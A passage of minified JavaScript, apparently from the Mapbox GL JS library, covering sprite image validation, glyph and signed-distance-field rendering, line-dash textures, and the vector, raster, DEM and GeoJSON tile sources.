value'))),Re=!1),this._validateStretch(ve.stretchY,ve.data&&ve.data.height)||(this.fire(new o.ErrorEvent(new Error('Image "'+$+'" has invalid "stretchY" value'))),Re=!1),this._validateContent(ve.content,ve)||(this.fire(new o.ErrorEvent(new Error('Image "'+$+'" has invalid "content" value'))),Re=!1),Re},H.prototype._validateStretch=function($,ve){if(!$)return!0;for(var Re=0,He=0,tt=$;He<tt.length;He+=1){var ht=tt[He];if(ht[0]<Re||ht[1]<ht[0]||ve<ht[1])return!1;Re=ht[1]}return!0},H.prototype._validateContent=function($,ve){return $?!($.length!==4||$[0]<0||ve.data.width<$[0]||$[1]<0||ve.data.height<$[1]||$[2]<0||ve.data.width<$[2]||$[3]<0||ve.data.height<$[3]||$[2]<$[0]||$[3]<$[1]):!0},H.prototype.updateImage=function($,ve){var Re=this.images[$];ve.version=Re.version+1,this.images[$]=ve,this.updatedImages[$]=!0},H.prototype.removeImage=function($){var ve=this.images[$];delete this.images[$],delete this.patterns[$],ve.userImage&&ve.userImage.onRemove&&ve.userImage.onRemove()},H.prototype.listImages=function(){return Object.keys(this.images)},H.prototype.getImages=function($,ve){var Re=!0;if(!this.isLoaded())for(var He=0,tt=$;He<tt.length;He+=1){var ht=tt[He];this.images[ht]||(Re=!1)}this.isLoaded()||Re?this._notify($,ve):this.requestors.push({ids:$,callback:ve})},H.prototype._notify=function($,ve){for(var Re={},He=0,tt=$;He<tt.length;He+=1){var ht=tt[He];this.images[ht]||this.fire(new o.Event("styleimagemissing",{id:ht}));var Dt=this.images[ht];Dt?Re[ht]={data:Dt.data.clone(),pixelRatio:Dt.pixelRatio,sdf:Dt.sdf,version:Dt.version,stretchX:Dt.stretchX,stretchY:Dt.stretchY,content:Dt.content,hasRenderCallback:!!(Dt.userImage&&Dt.userImage.render)}:o.warnOnce('Image "'+ht+'" could not be loaded. Please make sure you have added the image with map.addImage() or a "sprite" property in your style. You can provide missing images by listening for the "styleimagemissing" map event.')}ve(null,Re)},H.prototype.getPixelSize=function(){var $=this.atlasImage,ve=$.width,Re=$.height;return{width:ve,height:Re}},H.prototype.getPattern=function($){var ve=this.patterns[$],Re=this.getImage($);if(!Re)return null;if(ve&&ve.position.version===Re.version)return ve.position;if(ve)ve.position.version=Re.version;else{var He=Re.data.width+c*2,tt=Re.data.height+c*2,ht={w:He,h:tt,x:0,y:0},Dt=new o.ImagePosition(ht,Re);this.patterns[$]={bin:ht,position:Dt}}return this._updatePatternAtlas(),this.patterns[$].position},H.prototype.bind=function($){var ve=$.gl;this.atlasTexture?this.dirty&&(this.atlasTexture.update(this.atlasImage),this.dirty=!1):this.atlasTexture=new o.Texture($,this.atlasImage,ve.RGBA),this.atlasTexture.bind(ve.LINEAR,ve.CLAMP_TO_EDGE)},H.prototype._updatePatternAtlas=function(){var $=[];for(var ve in this.patterns)$.push(this.patterns[ve].bin);var Re=o.potpack($),He=Re.w,tt=Re.h,ht=this.atlasImage;ht.resize({width:He||1,height:tt||1});for(var Dt in this.patterns){var Wt=this.patterns[Dt],ar=Wt.bin,hr=ar.x+c,Er=ar.y+c,Fr=this.images[Dt].data,Or=Fr.width,zr=Fr.height;o.RGBAImage.copy(Fr,ht,{x:0,y:0},{x:hr,y:Er},{width:Or,height:zr}),o.RGBAImage.copy(Fr,ht,{x:0,y:zr-1},{x:hr,y:Er-1},{width:Or,height:1}),o.RGBAImage.copy(Fr,ht,{x:0,y:0},{x:hr,y:Er+zr},{width:Or,height:1}),o.RGBAImage.copy(Fr,ht,{x:Or-1,y:0},{x:hr-1,y:Er},{width:1,height:zr}),o.RGBAImage.copy(Fr,ht,{x:0,y:0},{x:hr+Or,y:Er},{width:1,height:zr})}this.dirty=!0},H.prototype.beginFrame=function(){this.callbackDispatchedThisFrame={}},H.prototype.dispatchRenderCallbacks=function($){for(var ve=0,Re=$;ve<Re.length;ve+=1){var He=Re[ve];if(!this.callbackDispatchedThisFrame[He]){this.callbackDispatchedThisFrame[He]=!0;var tt=this.images[He],ht=y(tt);ht&&this.updateImage(He,tt)}}},H}(o.Evented);function h(ue,H,he,$,ve){var Re=H*256,He=Re+255,tt=$.transformRequest($.normalizeGlyphsURL(he).replace("{fontstack}",ue).replace("{range}",Re+"-"+He),o.ResourceType.Glyphs);o.getArrayBuffer(tt,function(ht,Dt){if(ht)ve(ht);else if(Dt){for(var Wt={},ar=0,hr=o.parseGlyphPBF(Dt);ar<hr.length;ar+=1){var Er=hr[ar];Wt[Er.id]=Er}ve(null,Wt)}})}var i=w,v=w,T=1e20;function w(ue,H,he,$,ve,Re){this.fontSize=ue||24,this.buffer=H===void 0?3:H,this.cutoff=$||.25,this.fontFamily=ve||"sans-serif",this.fontWeight=Re||"normal",this.radius=he||8;var He=this.size=this.fontSize+this.buffer*2;this.canvas=document.createElement("canvas"),this.canvas.width=this.canvas.height=He,this.ctx=this.canvas.getContext("2d"),this.ctx.font=this.fontWeight+" "+this.fontSize+"px "+this.fontFamily,this.ctx.textBaseline="middle",this.ctx.fillStyle="black",this.gridOuter=new Float64Array(He*He),this.gridInner=new Float64Array(He*He),this.f=new Float64Array(He),this.d=new Float64Array(He),this.z=new Float64Array(He+1),this.v=new Int16Array(He),this.middle=Math.round(He/2*(navigator.userAgent.indexOf("Gecko/")>=0?1.2:1))}w.prototype.draw=function(ue){this.ctx.clearRect(0,0,this.size,this.size),this.ctx.fillText(ue,this.buffer,this.middle);for(var H=this.ctx.getImageData(0,0,this.size,this.size),he=new Uint8ClampedArray(this.size*this.size),$=0;$<this.size*this.size;$++){var ve=H.data[$*4+3]/255;this.gridOuter[$]=ve===1?0:ve===0?T:Math.pow(Math.max(0,.5-ve),2),this.gridInner[$]=ve===1?T:ve===0?0:Math.pow(Math.max(0,ve-.5),2)}for(E(this.gridOuter,this.size,this.size,this.f,this.d,this.v,this.z),E(this.gridInner,this.size,this.size,this.f,this.d,this.v,this.z),$=0;$<this.size*this.size;$++){var Re=this.gridOuter[$]-this.gridInner[$];he[$]=Math.max(0,Math.min(255,Math.round(255-255*(Re/this.radius+this.cutoff))))}return he};function E(ue,H,he,$,ve,Re,He){for(var tt=0;tt<H;tt++){for(var ht=0;ht<he;ht++)$[ht]=ue[ht*H+tt];for(p($,ve,Re,He,he),ht=0;ht<he;ht++)ue[ht*H+tt]=ve[ht]}for(ht=0;ht<he;ht++){for(tt=0;tt<H;tt++)$[tt]=ue[ht*H+tt];for(p($,ve,Re,He,H),tt=0;tt<H;tt++)ue[ht*H+tt]=Math.sqrt(ve[tt])}}function p(ue,H,he,$,ve){he[0]=0,$[0]=-T,$[1]=+T;for(var Re=1,He=0;Re<ve;Re++){for(var tt=(ue[Re]+Re*Re-(ue[he[He]]+he[He]*he[He]))/(2*Re-2*he[He]);tt<=$[He];)He--,tt=(ue[Re]+Re*Re-(ue[he[He]]+he[He]*he[He]))/(2*Re-2*he[He]);He++,he[He]=Re,$[He]=tt,$[He+1]=+T}for(Re=0,He=0;Re<ve;Re++){for(;$[He+1]<Re;)He++;H[Re]=(Re-he[He])*(Re-he[He])+ue[he[He]]}}i.default=v;var A=function(H,he){this.requestManager=H,this.localIdeographFontFamily=he,this.entries={}};A.prototype.setURL=function(H){this.url=H},A.prototype.getGlyphs=function(H,he){var $=this,ve=[];for(var Re in H)for(var He=0,tt=H[Re];He<tt.length;He+=1){var ht=tt[He];ve.push({stack:Re,id:ht})}o.asyncAll(ve,function(Dt,Wt){var ar=Dt.stack,hr=Dt.id,Er=$.entries[ar];Er||(Er=$.entries[ar]={glyphs:{},requests:{},ranges:{}});var Fr=Er.glyphs[hr];if(Fr!==void 0){Wt(null,{stack:ar,id:hr,glyph:Fr});return}if(Fr=$._tinySDF(Er,ar,hr),Fr){Er.glyphs[hr]=Fr,Wt(null,{stack:ar,id:hr,glyph:Fr});return}var Or=Math.floor(hr/256);if(Or*256>65535){Wt(new Error("glyphs > 65535 not supported"));return}if(Er.ranges[Or]){Wt(null,{stack:ar,id:hr,glyph:Fr});return}var zr=Er.requests[Or];zr||(zr=Er.requests[Or]=[],A.loadGlyphRange(ar,Or,$.url,$.requestManager,function(Yr,en){if(en){for(var xn in en)$._doesCharSupportLocalGlyph(+xn)||(Er.glyphs[+xn]=en[+xn]);Er.ranges[Or]=!0}for(var Pn=0,Bn=zr;Pn<Bn.length;Pn+=1){var Un=Bn[Pn];Un(Yr,en)}delete Er.requests[Or]})),zr.push(function(Yr,en){Yr?Wt(Yr):en&&Wt(null,{stack:ar,id:hr,glyph:en[hr]||null})})},function(Dt,Wt){if(Dt)he(Dt);else if(Wt){for(var ar={},hr=0,Er=Wt;hr<Er.length;hr+=1){var Fr=Er[hr],Or=Fr.stack,zr=Fr.id,Yr=Fr.glyph;(ar[Or]||(ar[Or]={}))[zr]=Yr&&{id:Yr.id,bitmap:Yr.bitmap.clone(),metrics:Yr.metrics}}he(null,ar)}})},A.prototype._doesCharSupportLocalGlyph=function(H){return!!this.localIdeographFontFamily&&(o.isChar["CJK Unified Ideographs"](H)||o.isChar["Hangul Syllables"](H)||o.isChar.Hiragana(H)||o.isChar.Katakana(H))},A.prototype._tinySDF=function(H,he,$){var ve=this.localIdeographFontFamily;if(ve&&this._doesCharSupportLocalGlyph($)){var Re=H.tinySDF;if(!Re){var He="400";/bold/i.test(he)?He="900":/medium/i.test(he)?He="500":/light/i.test(he)&&(He="200"),Re=H.tinySDF=new A.TinySDF(24,3,8,.25,ve,He)}return{id:$,bitmap:new o.AlphaImage({width:30,height:30},Re.draw(String.fromCharCode($))),metrics:{width:24,height:24,left:0,top:-8,advance:24}}}},A.loadGlyphRange=h,A.TinySDF=i;var m=function(){this.specification=o.styleSpec.light.position};m.prototype.possiblyEvaluate=function(H,he){return o.sphericalToCartesian(H.expression.evaluate(he))},m.prototype.interpolate=function(H,he,$){return{x:o.number(H.x,he.x,$),y:o.number(H.y,he.y,$),z:o.number(H.z,he.z,$)}};var n=new o.Properties({anchor:new o.DataConstantProperty(o.styleSpec.light.anchor),position:new m,color:new o.DataConstantProperty(o.styleSpec.light.color),intensity:new o.DataConstantProperty(o.styleSpec.light.intensity)}),C="-transition",x=function(ue){function H(he){ue.call(this),this._transitionable=new o.Transitionable(n),this.setLight(he),this._transitioning=this._transitionable.untransitioned()}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.getLight=function(){return this._transitionable.serialize()},H.prototype.setLight=function($,ve){if(ve===void 0&&(ve={}),!this._validate(o.validateLight,$,ve))for(var Re in $){var He=$[Re];o.endsWith(Re,C)?this._transitionable.setTransition(Re.slice(0,-C.length),He):this._transitionable.setValue(Re,He)}},H.prototype.updateTransitions=function($){this._transitioning=this._transitionable.transitioned($,this._transitioning)},H.prototype.hasTransition=function(){return this._transitioning.hasTransition()},H.prototype.recalculate=function($){this.properties=this._transitioning.possiblyEvaluate($)},H.prototype._validate=function($,ve,Re){return Re&&Re.validate===!1?!1:o.emitValidationErrors(this,$.call(o.validateStyle,o.extend({value:ve,style:{glyphs:!0,sprite:!0},styleSpec:o.styleSpec})))},H}(o.Evented),I=function(H,he){this.width=H,this.height=he,this.nextRow=0,this.data=new Uint8Array(this.width*this.height),this.dashEntry={}};I.prototype.getDash=function(H,he){var $=H.join(",")+String(he);return this.dashEntry[$]||(this.dashEntry[$]=this.addDash(H,he)),this.dashEntry[$]},I.prototype.getDashRanges=function(H,he,$){var ve=H.length%2===1,Re=[],He=ve?-H[H.length-1]*$:0,tt=H[0]*$,ht=!0;Re.push({left:He,right:tt,isDash:ht,zeroLength:H[0]===0});for(var Dt=H[0],Wt=1;Wt<H.length;Wt++){ht=!ht;var ar=H[Wt];He=Dt*$,Dt+=ar,tt=Dt*$,Re.push({left:He,right:tt,isDash:ht,zeroLength:ar===0})}return Re},I.prototype.addRoundDash=function(H,he,$){for(var ve=he/2,Re=-$;Re<=$;Re++)for(var He=this.nextRow+$+Re,tt=this.width*He,ht=0,Dt=H[ht],Wt=0;Wt<this.width;Wt++){Wt/Dt.right>1&&(Dt=H[++ht]);var ar=Math.abs(Wt-Dt.left),hr=Math.abs(Wt-Dt.right),Er=Math.min(ar,hr),Fr=void 0,Or=Re/$*(ve+1);if(Dt.isDash){var zr=ve-Math.abs(Or);Fr=Math.sqrt(Er*Er+zr*zr)}else Fr=ve-Math.sqrt(Er*Er+Or*Or);this.data[tt+Wt]=Math.max(0,Math.min(255,Fr+128))}},I.prototype.addRegularDash=function(H){for(var he=H.length-1;he>=0;--he){var $=H[he],ve=H[he+1];$.zeroLength?H.splice(he,1):ve&&ve.isDash===$.isDash&&(ve.left=$.left,H.splice(he,1))}var Re=H[0],He=H[H.length-1];Re.isDash===He.isDash&&(Re.left=He.left-this.width,He.right=Re.right+this.width);for(var tt=this.width*this.nextRow,ht=0,Dt=H[ht],Wt=0;Wt<this.width;Wt++){Wt/Dt.right>1&&(Dt=H[++ht]);var ar=Math.abs(Wt-Dt.left),hr=Math.abs(Wt-Dt.right),Er=Math.min(ar,hr),Fr=Dt.isDash?Er:-Er;this.data[tt+Wt]=Math.max(0,Math.min(255,Fr+128))}},I.prototype.addDash=function(H,he){var $=he?7:0,ve=2*$+1;if(this.nextRow+ve>this.height)return o.warnOnce("LineAtlas out of space"),null;for(var Re=0,He=0;He<H.length;He++)Re+=H[He];if(Re!==0){var tt=this.width/Re,ht=this.getDashRanges(H,this.width,tt);he?this.addRoundDash(ht,tt,$):this.addRegularDash(ht)}var Dt={y:(this.nextRow+$+.5)/this.height,height:2*$/this.height,width:Re};return this.nextRow+=ve,this.dirty=!0,Dt},I.prototype.bind=function(H){var he=H.gl;this.texture?(he.bindTexture(he.TEXTURE_2D,this.texture),this.dirty&&(this.dirty=!1,he.texSubImage2D(he.TEXTURE_2D,0,0,0,this.width,this.height,he.ALPHA,he.UNSIGNED_BYTE,this.data))):(this.texture=he.createTexture(),he.bindTexture(he.TEXTURE_2D,this.texture),he.texParameteri(he.TEXTURE_2D,he.TEXTURE_WRAP_S,he.REPEAT),he.texParameteri(he.TEXTURE_2D,he.TEXTURE_WRAP_T,he.REPEAT),he.texParameteri(he.TEXTURE_2D,he.TEXTURE_MIN_FILTER,he.LINEAR),he.texParameteri(he.TEXTURE_2D,he.TEXTURE_MAG_FILTER,he.LINEAR),he.texImage2D(he.TEXTURE_2D,0,he.ALPHA,this.width,this.height,0,he.ALPHA,he.UNSIGNED_BYTE,this.data))};var k=function ue(H,he){this.workerPool=H,this.actors=[],this.currentActor=0,this.id=o.uniqueId();for(var $=this.workerPool.acquire(this.id),ve=0;ve<$.length;ve++){var Re=$[ve],He=new ue.Actor(Re,he,this.id);He.name="Worker "+ve,this.actors.push(He)}};k.prototype.broadcast=function(H,he,$){$=$||function(){},o.asyncAll(this.actors,function(ve,Re){ve.send(H,he,Re)},$)},k.prototype.getActor=function(){return this.currentActor=(this.currentActor+1)%this.actors.length,this.actors[this.currentActor]},k.prototype.remove=function(){this.actors.forEach(function(H){H.remove()}),this.actors=[],this.workerPool.release(this.id)},k.Actor=o.Actor;function B(ue,H,he){var $=function(ve,Re){if(ve)return he(ve);if(Re){var He=o.pick(o.extend(Re,ue),["tiles","minzoom","maxzoom","attribution","mapbox_logo","bounds","scheme","tileSize","encoding"]);Re.vector_layers&&(He.vectorLayers=Re.vector_layers,He.vectorLayerIds=He.vectorLayers.map(function(tt){return tt.id})),He.tiles=H.canonicalizeTileset(He,ue.url),he(null,He)}};return ue.url?o.getJSON(H.transformRequest(H.normalizeSourceURL(ue.url),o.ResourceType.Source),$):o.browser.frame(function(){return $(null,ue)})}var _=function(H,he,$){this.bounds=o.LngLatBounds.convert(this.validateBounds(H)),this.minzoom=he||0,this.maxzoom=$||24};_.prototype.validateBounds=function(H){return!Array.isArray(H)||H.length!==4?[-180,-90,180,90]:[Math.max(-180,H[0]),Math.max(-90,H[1]),Math.min(180,H[2]),Math.min(90,H[3])]},_.prototype.contains=function(H){var he=Math.pow(2,H.z),$={minX:Math.floor(o.mercatorXfromLng(this.bounds.getWest())*he),minY:Math.floor(o.mercatorYfromLat(this.bounds.getNorth())*he),maxX:Math.ceil(o.mercatorXfromLng(this.bounds.getEast())*he),maxY:Math.ceil(o.mercatorYfromLat(this.bounds.getSouth())*he)},ve=H.x>=$.minX&&H.x<$.maxX&&H.y>=$.minY&&H.y<$.maxY;return ve};var F=function(ue){function H(he,$,ve,Re){if(ue.call(this),this.id=he,this.dispatcher=ve,this.type="vector",this.minzoom=0,this.maxzoom=22,this.scheme="xyz",this.tileSize=512,this.reparseOverscaled=!0,this.isTileClipped=!0,this._loaded=!1,o.extend(this,o.pick($,["url","scheme","tileSize","promoteId"])),this._options=o.extend({type:"vector"},$),this._collectResourceTiming=$.collectResourceTiming,this.tileSize!==512)throw new Error("vector tile sources must have a tileSize of 512");this.setEventedParent(Re)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.load=function(){var $=this;this._loaded=!1,this.fire(new o.Event("dataloading",{dataType:"source"})),this._tileJSONRequest=B(this._options,this.map._requestManager,function(ve,Re){$._tileJSONRequest=null,$._loaded=!0,ve?$.fire(new o.ErrorEvent(ve)):Re&&(o.extend($,Re),Re.bounds&&($.tileBounds=new _(Re.bounds,$.minzoom,$.maxzoom)),o.postTurnstileEvent(Re.tiles,$.map._requestManager._customAccessToken),o.postMapLoadEvent(Re.tiles,$.map._getMapId(),$.map._requestManager._skuToken,$.map._requestManager._customAccessToken),$.fire(new o.Event("data",{dataType:"source",sourceDataType:"metadata"})),$.fire(new o.Event("data",{dataType:"source",sourceDataType:"content"})))})},H.prototype.loaded=function(){return this._loaded},H.prototype.hasTile=function($){return!this.tileBounds||this.tileBounds.contains($.canonical)},H.prototype.onAdd=function($){this.map=$,this.load()},H.prototype.onRemove=function(){this._tileJSONRequest&&(this._tileJSONRequest.cancel(),this._tileJSONRequest=null)},H.prototype.serialize=function(){return o.extend({},this._options)},H.prototype.loadTile=function($,ve){var Re=this.map._requestManager.normalizeTileURL($.tileID.canonical.url(this.tiles,this.scheme)),He={request:this.map._requestManager.transformRequest(Re,o.ResourceType.Tile),uid:$.uid,tileID:$.tileID,zoom:$.tileID.overscaledZ,tileSize:this.tileSize*$.tileID.overscaleFactor(),type:this.type,source:this.id,pixelRatio:o.browser.devicePixelRatio,showCollisionBoxes:this.map.showCollisionBoxes,promoteId:this.promoteId};He.request.collectResourceTiming=this._collectResourceTiming,!$.actor||$.state==="expired"?($.actor=this.dispatcher.getActor(),$.request=$.actor.send("loadTile",He,tt.bind(this))):$.state==="loading"?$.reloadCallback=ve:$.request=$.actor.send("reloadTile",He,tt.bind(this));function tt(ht,Dt){if(delete $.request,$.aborted)return ve(null);if(ht&&ht.status!==404)return ve(ht);Dt&&Dt.resourceTiming&&($.resourceTiming=Dt.resourceTiming),this.map._refreshExpiredTiles&&Dt&&$.setExpiryData(Dt),$.loadVectorData(Dt,this.map.painter),o.cacheEntryPossiblyAdded(this.dispatcher),ve(null),$.reloadCallback&&(this.loadTile($,$.reloadCallback),$.reloadCallback=null)}},H.prototype.abortTile=function($){$.request&&($.request.cancel(),delete $.request),$.actor&&$.actor.send("abortTile",{uid:$.uid,type:this.type,source:this.id},void 0)},H.prototype.unloadTile=function($){$.unloadVectorData(),$.actor&&$.actor.send("removeTile",{uid:$.uid,type:this.type,source:this.id},void 0)},H.prototype.hasTransition=function(){return!1},H}(o.Evented),O=function(ue){function H(he,$,ve,Re){ue.call(this),this.id=he,this.dispatcher=ve,this.setEventedParent(Re),this.type="raster",this.minzoom=0,this.maxzoom=22,this.roundZoom=!0,this.scheme="xyz",this.tileSize=512,this._loaded=!1,this._options=o.extend({type:"raster"},$),o.extend(this,o.pick($,["url","scheme","tileSize"]))}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.load=function(){var $=this;this._loaded=!1,this.fire(new o.Event("dataloading",{dataType:"source"})),this._tileJSONRequest=B(this._options,this.map._requestManager,function(ve,Re){$._tileJSONRequest=null,$._loaded=!0,ve?$.fire(new o.ErrorEvent(ve)):Re&&(o.extend($,Re),Re.bounds&&($.tileBounds=new _(Re.bounds,$.minzoom,$.maxzoom)),o.postTurnstileEvent(Re.tiles),o.postMapLoadEvent(Re.tiles,$.map._getMapId(),$.map._requestManager._skuToken),$.fire(new o.Event("data",{dataType:"source",sourceDataType:"metadata"})),$.fire(new o.Event("data",{dataType:"source",sourceDataType:"content"})))})},H.prototype.loaded=function(){return this._loaded},H.prototype.onAdd=function($){this.map=$,this.load()},H.prototype.onRemove=function(){this._tileJSONRequest&&(this._tileJSONRequest.cancel(),this._tileJSONRequest=null)},H.prototype.serialize=function(){return o.extend({},this._options)},H.prototype.hasTile=function($){return!this.tileBounds||this.tileBounds.contains($.canonical)},H.prototype.loadTile=function($,ve){var Re=this,He=this.map._requestManager.normalizeTileURL($.tileID.canonical.url(this.tiles,this.scheme),this.tileSize);$.request=o.getImage(this.map._requestManager.transformRequest(He,o.ResourceType.Tile),function(tt,ht){if(delete $.request,$.aborted)$.state="unloaded",ve(null);else if(tt)$.state="errored",ve(tt);else if(ht){Re.map._refreshExpiredTiles&&$.setExpiryData(ht),delete ht.cacheControl,delete ht.expires;var Dt=Re.map.painter.context,Wt=Dt.gl;$.texture=Re.map.painter.getTileTexture(ht.width),$.texture?$.texture.update(ht,{useMipmap:!0}):($.texture=new o.Texture(Dt,ht,Wt.RGBA,{useMipmap:!0}),$.texture.bind(Wt.LINEAR,Wt.CLAMP_TO_EDGE,Wt.LINEAR_MIPMAP_NEAREST),Dt.extTextureFilterAnisotropic&&Wt.texParameterf(Wt.TEXTURE_2D,Dt.extTextureFilterAnisotropic.TEXTURE_MAX_ANISOTROPY_EXT,Dt.extTextureFilterAnisotropicMax)),$.state="loaded",o.cacheEntryPossiblyAdded(Re.dispatcher),ve(null)}})},H.prototype.abortTile=function($,ve){$.request&&($.request.cancel(),delete $.request),ve()},H.prototype.unloadTile=function($,ve){$.texture&&this.map.painter.saveTileTexture($.texture),ve()},H.prototype.hasTransition=function(){return!1},H}(o.Evented),z=function(ue){function H(he,$,ve,Re){ue.call(this,he,$,ve,Re),this.type="raster-dem",this.maxzoom=22,this._options=o.extend({type:"raster-dem"},$),this.encoding=$.encoding||"mapbox"}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.serialize=function(){return{type:"raster-dem",url:this.url,tileSize:this.tileSize,tiles:this.tiles,bounds:this.bounds,encoding:this.encoding}},H.prototype.loadTile=function($,ve){var Re=this.map._requestManager.normalizeTileURL($.tileID.canonical.url(this.tiles,this.scheme),this.tileSize);$.request=o.getImage(this.map._requestManager.transformRequest(Re,o.ResourceType.Tile),He.bind(this)),$.neighboringTiles=this._getNeighboringTiles($.tileID);function He(ht,Dt){if(delete $.request,$.aborted)$.state="unloaded",ve(null);else if(ht)$.state="errored",ve(ht);else if(Dt){this.map._refreshExpiredTiles&&$.setExpiryData(Dt),delete Dt.cacheControl,delete Dt.expires;var Wt=o.window.ImageBitmap&&Dt instanceof o.window.ImageBitmap&&o.offscreenCanvasSupported(),ar=Wt?Dt:o.browser.getImageData(Dt,1),hr={uid:$.uid,coord:$.tileID,source:this.id,rawImageData:ar,encoding:this.encoding};(!$.actor||$.state==="expired")&&($.actor=this.dispatcher.getActor(),$.actor.send("loadDEMTile",hr,tt.bind(this)))}}function tt(ht,Dt){ht&&($.state="errored",ve(ht)),Dt&&($.dem=Dt,$.needsHillshadePrepare=!0,$.state="loaded",ve(null))}},H.prototype._getNeighboringTiles=function($){var ve=$.canonical,Re=Math.pow(2,ve.z),He=(ve.x-1+Re)%Re,tt=ve.x===0?$.wrap-1:$.wrap,ht=(ve.x+1+Re)%Re,Dt=ve.x+1===Re?$.wrap+1:$.wrap,Wt={};return Wt[new o.OverscaledTileID($.overscaledZ,tt,ve.z,He,ve.y).key]={backfilled:!1},Wt[new o.OverscaledTileID($.overscaledZ,Dt,ve.z,ht,ve.y).key]={backfilled:!1},ve.y>0&&(Wt[new o.OverscaledTileID($.overscaledZ,tt,ve.z,He,ve.y-1).key]={backfilled:!1},Wt[new o.OverscaledTileID($.overscaledZ,$.wrap,ve.z,ve.x,ve.y-1).key]={backfilled:!1},Wt[new o.OverscaledTileID($.overscaledZ,Dt,ve.z,ht,ve.y-1).key]={backfilled:!1}),ve.y+1<Re&&(Wt[new o.OverscaledTileID($.overscaledZ,tt,ve.z,He,ve.y+1).key]={backfilled:!1},Wt[new o.OverscaledTileID($.overscaledZ,$.wrap,ve.z,ve.x,ve.y+1).key]={backfilled:!1},Wt[new o.OverscaledTileID($.overscaledZ,Dt,ve.z,ht,ve.y+1).key]={backfilled:!1}),Wt},H.prototype.unloadTile=function($){$.demTexture&&this.map.painter.saveTileTexture($.demTexture),$.fbo&&($.fbo.destroy(),delete $.fbo),$.dem&&delete $.dem,delete $.neighboringTiles,$.state="unloaded",$.actor&&$.actor.send("removeDEMTile",{uid:$.uid,source:this.id})},H}(O),N=function(ue){function H(he,$,ve,Re){ue.call(this),this.id=he,this.type="geojson",this.minzoom=0,this.maxzoom=18,this.tileSize=512,this.isTileClipped=!0,this.reparseOverscaled=!0,this._removed=!1,this._loaded=!1,this.actor=ve.getActor(),this.setEventedParent(Re),this._data=$.data,this._options=o.extend({},$),this._collectResourceTiming=$.collectResourceTiming,this._resourceTiming=[],$.maxzoom!==void 0&&(this.maxzoom=$.maxzoom),$.type&&(this.type=$.type),$.attribution&&(this.attribution=$.attribution),this.promoteId=$.promoteId;var He=o.EXTENT/this.tileSize;this.workerOptions=o.extend({source:this.id,cluster:$.cluster||!1,geojsonVtOptions:{buffer:($.buffer!==void 0?$.buffer:128)*He,tolerance:($.tolerance!==void 0?$.tolerance:.375)*He,extent:o.EXTENT,maxZoom:this.maxzoom,lineMetrics:$.lineMetrics||!1,generateId:$.generateId||!1},superclusterOptions:{maxZoom:$.clusterMaxZoom!==void 0?Math.min($.clusterMaxZoom,this.maxzoom-1):this.maxzoom-1,extent:o.EXTENT,radius:($.clusterRadius||50)*He,log:!1,generateId:$.generateId||!1},clusterProperties:$.clusterProperties},$.workerOptions)}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.load=function(){var $=this;this.fire(new o.Event("dataloading",{dataType:"source"})),this._updateWorkerData(function(ve){if(ve){$.fire(new o.ErrorEvent(ve));return}var Re={dataType:"source",sourceDataType:"metadata"};$._collectResourceTiming&&$._resourceTiming&&$._resourceTiming.length>0&&(Re.resourceTiming=$._resourceTiming,$._resourceTiming=[]),$.fire(new o.Event("data",Re))})},H.prototype.onAdd=function($){this.map=$,this.load()},H.prototype.setData=function($){var ve=this;return this._data=$,this.fire(new o.Event("dataloading",{dataType:"source"})),this._updateWorkerData(function(Re){if(Re){ve.fire(new o.ErrorEvent(Re));return}var He={dataType:"source",sourceDataType:"content"};ve._collectResourceTiming&&ve._resourceTiming&&ve._resourceTiming.length>0&&(He.resourceTiming=ve._resourceTiming,ve._resourceTiming=[]),ve.fire(new o.Event("data",He))}),this},H.prototype.getClusterExpansionZoom=function($,ve){return this.actor.send("geojson.getClusterExpansionZoom",{clusterId:$,source:this.id},ve),this},H.prototype.getClusterChildren=function($,ve){return this.actor.send("geojson.getClusterChildren",{clusterId:$,source:this.id},ve),this},H.prototype.getClusterLeaves=function($,ve,Re,He){return this.actor.send("geojson.getClusterLeaves",{source:this.id,clusterId:$,limit:ve,offset:Re},He),this},H.prototype._updateWorkerData=function($){var ve=this;this._loaded=!1;var Re=o.extend({},this.workerOptions),He=this._data;typeof He=="string"?(Re.request=this.map._requestManager.transformRequest(o.browser.resolveURL(He),o.ResourceType.Source),Re.request.collectResourceTiming=this._collectResourceTiming):Re.data=JSON.stringify(He),this.actor.send(this.type+".loadData",Re,function(tt,ht){ve._removed||ht&&ht.abandoned||(ve._loaded=!0,ht&&ht.resourceTiming&&ht.resourceTiming[ve.id]&&(ve._resourceTiming=ht.resourceTiming[ve.id].slice(0)),ve.actor.send(ve.type+".coalesce",{source:Re.source},null),$(tt))})},H.prototype.loaded=function(){return this._loaded},H.prototype.loadTile=function($,ve){var Re=this,He=$.actor?"reloadTile":"loadTile";$.actor=this.actor;var tt={type:this.type,uid:$.uid,tileID:$.tileID,zoom:$.tileID.overscaledZ,maxZoom:this.maxzoom,tileSize:this.tileSize,source:this.id,pixelRatio:o.browser.devicePixelRatio,showCollisionBoxes:this.map.showCollisionBoxes,promoteId:this.promoteId};$.request=this.actor.send(He,tt,function(ht,Dt){return delete $.request,$.unloadVectorData(),$.aborted?ve(null):ht?ve(ht):($.loadVectorData(Dt,Re.map.painter,He==="reloadTile"),ve(null))})},H.prototype.abortTile=function($){$.request&&($.request.cancel(),delete $.request),$.aborted=!0},H.prototype.unloadTile=function($){$.unloadVectorData(),this.actor.send("removeTile",{uid:$.uid,type:this.type,source:this.id})},H.prototype.onRemove=function(){this._removed=!0,this.actor.send("removeSource",{type:this.type,source:this.id})},H.prototype.serialize=function(){return o.extend({},this._options,{type:this.type,data:this._data})},H.prototype.hasTransition=function(){return!1},H}(o.Evented),G=o.createLayout([{name:"a_pos",type:"Int16",components:2},{name:"a_texture_pos",type:"Int16",components:2}]),J=function(ue){function H(he,$,ve,Re){ue.call(this),this.id=he,this.dispatcher=ve,this.coordinates=$.coordinates,this.type="image",this.minzoom=0,this.maxzoom=22,this.tileSize=512,this.tiles={},this._loaded=!1,this.setEventedParent(Re),this.options=$}return ue&&(H.__proto__=ue),H.prototype=Object.create(ue&&ue.prototype),H.prototype.constructor=H,H.prototype.load=function($,ve){var 